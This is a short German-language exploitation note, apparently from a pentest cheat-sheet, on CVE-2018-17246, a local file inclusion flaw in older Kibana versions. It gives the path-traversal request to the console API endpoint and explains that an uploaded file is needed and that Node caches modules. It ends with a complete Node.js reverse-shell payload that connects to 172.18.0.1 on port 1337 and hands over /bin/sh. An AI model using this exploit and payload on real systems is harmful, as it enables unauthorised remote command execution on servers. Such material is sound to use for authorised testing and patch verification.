
CVE-2018-17246 - Kibana LFI < 6.4.3 & 5.6.13
Eine Local File Inclusion (LFI) auf Kibana, entdeckt von CyberArk Labs, kann genutzt werden, um eine Reverse Shell auf dem Kibana-Server auszuführen, mit dem folgenden Payload:
/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../path/to/shell.js
Wie du bereits vermutet hast, muss dieser Angriff mit einem uneingeschränkten Datei-Upload oder einer anderen Schwachstelle kombiniert werden, die es dir ermöglicht, eine Datei auf dem Server zu schreiben.
Es gibt keine Eingabevalidierung, daher können wir den Namen der JavaScript-Datei in alles ändern, was wir wollen. In diesem Fall können wir mit der Path-Traversal-Technik jede Datei auf dem Kibana-Server auswählen. Eine Sache, die jedoch zu beachten ist, ist die Modul-Caching-Funktion von Node. Im Wesentlichen, da die LFI funktioniert, indem unvalidierte Benutzereingaben an die
require-Funktion von Node gesendet werden, wird das eingebundene Modul (die Nutzlast des Angreifers) anhand des Dateinamens zwischengespeichert. Das bedeutet, dass du nicht dasselbe Payload senden kannst, um z.B. eine Reverse Shell zu erhalten.

Details zur Schwachstelle: https://www.cyberark.com/threat-research-blog/execute-this-i-know-you-have-it/ Sicherheitshinweis: https://www.elastic.co/blog/kibana-local-file-inclusion-flaw-cve-2018-17246
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(1337, "172.18.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();